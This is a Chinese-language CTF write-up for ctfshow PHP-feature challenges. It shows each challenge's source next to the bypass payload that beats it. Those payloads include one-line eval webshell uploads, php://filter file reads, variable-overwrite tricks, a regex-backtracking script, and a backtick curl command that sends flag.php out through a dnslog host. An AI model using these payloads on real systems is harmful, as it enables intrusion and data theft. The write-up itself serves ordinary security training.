<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 15:38:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
限制了参数中不能有数字字符,当函数 intval
参数为非空数组时值为 1,构造数组绕过。
payload: ?num[]=1
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:06:11 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval
函数扫描参数字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换,并将结果返回。
这里用 4476xxx 或 0x117c 都能绕过。
payload: 4476a
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:16:09 # @link: https://ctfer.com */ show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
感觉不是 php 特性,只考了正则的 flag 不同匹配的文本不同。
payload: ?cmd=ph%0Aphp
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:29:30 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
第一个 if($num==4476)
,会强制按十进制(默认)转换 $num
为数字再进行比较,第二个 if(intval($num,0)==4476)
中 intval
函数第二个参数为 0 会检测字符串格式判断要转换的进制。所以这里传十六进制或八进制就能绕过。
payload: ?num=0x117c
payload: ?num=010574
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:32:58 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
相比上一题禁用了字母,也就不能用十六进制了,八进制绕过。
payload: ?num=010574
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:46:19 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
参数第一个字符为 0 会触发 die,八进制可以前缀 + 绕过。还可以用浮点数绕过,不过还是要带 0 不然这个 if 还是 true。
payload: ?num=4476.20
payload: ?num=+010574
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:53:59 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
正则禁用了小数点,还能用八进制绕过。
payload: ?num=+010574
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 19:21:24 # @link: https://ctfer.com */ highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
hightlight_file 可以伪协议读取文件
payload: ?u=php://filter/convert.base64-encode/resource=flag.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 19:36:32 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
md5 函数传 array 会返回 NULL,此时 if (md5($_POST['a']) === md5($_POST['b']))
处 NULL === NULL。
a 和 b 传两个不同的数组绕过 if ($_POST['a'] != $_POST['b'])
。
payload: a[]=1&b[]=2
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 21:39:27 # @link: https://ctfer.com */ include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
考察三元表达式,读题构造 payload,没有绕过
url: ?a=1
body: HTTP_FLAG=flag
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 22:36:12 # @link: https://ctfer.com */ highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
in_array 函数的第三个参数 $strict 默认为 false,不会对类型进行检查。这就导致 "20.php"
和 "20"
都可以是 20
,从而绕过限制上传一句话。
url: ?n=30.php
body: content=<?php @eval($_POST[1]);
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
由运算符优先级表可知 =
的优先级比 and
要高,所以这里 $v0 的赋值可以看成是 ($v0=is_numeric($v1)) and (is_numeric($v2)) and (is_numeric($v3));
,只要 $v1 为数字就可以过 if($v0)
。
;
可以用 ?>
代替,就可以随便操作了。
payload: ?v1=1&v2=eval($_POST[1])?>&v3=;
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
修复了非预期,就让你一定要用反射
payload: ?v1=1&v2=echo new ReflectionClass&v3=;
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 20:59:43 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?>
is_numeric 在 php5 中可以把十六进制数字符串识别成数字,但题目的环境是 php7,用不了。
这里需要 $v2 是纯数字的十六进制数(带 e 的科学计数法也可以),hex2bin 再伪协议 base64-decode 写入即可。
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 21:03:24 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>
和上一题差不多,增加了对 $str 字符串的正则过滤,上题 payload 一把梭
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:27:20 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
要求输入两个值,他们的 sha1 值相同,却没对这两个值做任何限制,甚至直接输入两个一模一样的值都可以过,这是在考 get 和 post 传参吗???
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
变量覆盖,$flag -> $suces -> $error -> 输出
url: ?suces=flag
body: error=suces
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:38:27 */ highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
sha1 和 md5 一样都可以用 array 绕过,NULL == NULL && array(1) != array(2)
url: ?v2[]=2
body: v1[]=1
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:24:14 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>
考察 parse_str 函数,有第二个参数以数组的形式存在第二个变量中,$v2 为将 v1 作为 url 参数解析后的结果。
要求参数中 flag 的值与 $v3 的 md5 哈希值相同,故构造 payload
url: ?v3=1
body: v1=flag=c4ca4238a0b923820dcc509a6f75849b
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:53:55 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>
ereg 函数存在 00 截断漏洞,0x36d 十进制为 877,strrev 后应为 778,故构造 payload
payload: ?c=aa%00778
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34 */ highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
本身没什么过滤,正则完全就是摆设。第一个参数随便找个类初始化一下,第二个闭合一下参数然后一句话连蚁剑
payload: ?v1=DirectoryIterator&v2=".");eval($_POST[1]);//
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:49:10 */ highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
FilesystemIterator 和 DirectoryIterator 在 php:5.6 被 echo 输出时都会输出第一个目录,但在 php:7 中 DirectoryIterator 只会输出 ".."。
这里利用 FilesystemIterator 和 getcwd 获取目录下按字母排序第一个文件名,访问这个 txt 获取 flag。
payload: ?v1=FilesystemIterator&v2=getcwd
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 02:41:40 */ highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
正则要求 v1 写死 ctfshow,利用全局变量变量 GLOBALS 获取 flag 变量的值。
payload: ?v1=ctfshow&v2=GLOBALS
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:49 */ highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
正则禁用了一些协议和 filter,去掉 filter 也可以用 php://filter 读文件
payload: ?file=php://filter/resource=flag.php
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:52 */ highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
在 linux 中 /proc/self/root 是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root 其实显示的内容是根目录下的内容 多次重复后绕过is_file
这里可以利用 /proc/self/root 绕过 is_file,也可以用没过滤的 compress.zlib:// 读文件。
payload: ?file=compress.zlib://flag.php
payload: ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
数了下是21个
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 15:02:53 */ error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
禁用了上一题的两种方法,重新拿起老方法一把梭
payload: ?file=php://filter/resource=flag.php
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 15:08:19 */ include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
在数字前加空格也会被 is_numeric 识别为数字,trim 过滤空格不会过滤 \f(%0c)
payload: ?num=%0c36
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
isset($_POST['CTF_SHOW.COM'])
要求填写一个带英文句号的参数,但这是 php 不允许的,空格、[
和 .
都会被替换成下划线 _
,但如果先有一个 [
被替换成下划线,接下来后面的空格、[
和 .
都不会被替换,有点意思。
$c
被加了一大串正则限制,这里经测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a
可以看到输出是 Array,说明 php.ini
中开启了配置 register_argc_argv
,那么 $a[0]
就是 GET 参数字符串,测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a[0]
验证了猜想,那么就可以通过 eval($a[0])
绕过正则和长度限制。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
相比上题增加了一些正则的过滤,不过不影响我们用上一题的 payload 一把梭。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
一把梭
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-10 21:52:49 */ error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
需要变量覆盖 $ctf_show
但正则禁用了 _
、[
和 .
,只能用空格。
payload: ?ctf show=ilove36d
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-12 19:49:05 */ error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
禁用了所有数字和字母,不过还有 (gettext
)[https://www.php.net/manual/zh/function.gettext.php] 函数的 _
没有被禁用,该函数可以原样返回输入的字符串。
接下来第二层 call_user_func
调用的就是 $f2
传入的字符串对应的函数,(get_defined_vars
)[https://www.php.net/manual/en/function.get-defined-vars] 函数可以返回作用域中定义的所有变量,其中就包括了 $flag
。
payload: ?f1=_&f2=get_defined_vars
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 03:18:40 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
if(stripos($f, 'ctfshow')>0)
要求参数 $f
包含字符串 ctfshow
,这里目录穿越绕过。
payload: ?f=php://filter/convert.base64-encode/resource=./ctfshow/../flag.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
这过滤了个寂寞
payload: f=ctfshow
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
正则存在(最大回溯限制)[https://www.laruence.com/2010/06/08/1579.html],触发就可以让 preg_match
直接返回 false
,从而绕过限制。
import requests url = "http://9924c6cf-8dd7-45d8-8c19-a2b887d66765.challenge.ctf.show:8080/" print(requests.post(url, data={"f": "very"*250000+"36Dctfshow"}).text)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 06:22:13 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 20:05:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
访问 /robots.txt
后看到 Disallow: /admin
,更改地址栏为 /admin
重新访问会发现端口被去掉返回了 404,重新加上端口即可得到源码。
考察(运算符优先级)[https://www.php.net/manual/zh/language.operators.precedence.php],其中 &&
的优先级高于 ||
,故 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
中只需要 $username==="admin"
即可满足。
payload: ?username=admin&password=a&code=admin
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
被 substr 后 eval 的部分还可以 eval 没被 substr 的 $F
,就可以绕过了。具体展开如下:
$F = @$_GET['F']; //?F=`$F`; sleep 3 substr($F, 0, 6); // `$F`; eval(substr($F, 0, 6)); // eval("`$F`; "); -> eval("``$F`; sleep 3`; "); "`" 只会被展开一次
于是就可以 dnslog 带出 flag。
payload: ?F=`$F`; curl `cat flag.php|sed s/[[:space:]]/xx/g`.xxxxxx.dnslog.cn
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-14 23:01:06 */ highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
考察变量覆盖,if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2']))
限制 GET 和 POST 参数都不能有 key1
和 key2
,这两个变量是后面 if($key1 == '36d' && $key2 == '36d')
要满足的。因为有两次变量覆盖,而且前面的 if 是在覆盖操作之前,所以可以通过覆盖第二个变量覆盖的参数来间接覆盖 key1
和 key2
。
payload: ?_POST[key1]=36d&_POST[key2]=36d
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 18:48:03 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
和 133 题不同的是,这次禁用了 curl
和 cat
,却放开了写文件,反而更简单了。
payload: ?F=`$F`; mv flag.php 1.txt
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
正则禁用了 >
,可以用 |tee
代替。
payload1: ?c=ls /|tee 1
payload2: ?c=cat /f149_15_h3r3|tee 2
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:27:49 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
PHP call_user_func on a static method
$class = '\\MyBundleNamespace\\MyClass'; $method = 'myFunction';Both calls should work:
call_user_func("$class::$method"); call_user_func(array($class, $method));
payload: ctfshow=ctfshow::getFlag
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:52:13 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
禁用了 :
,还可以以数组的形式传参。
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag
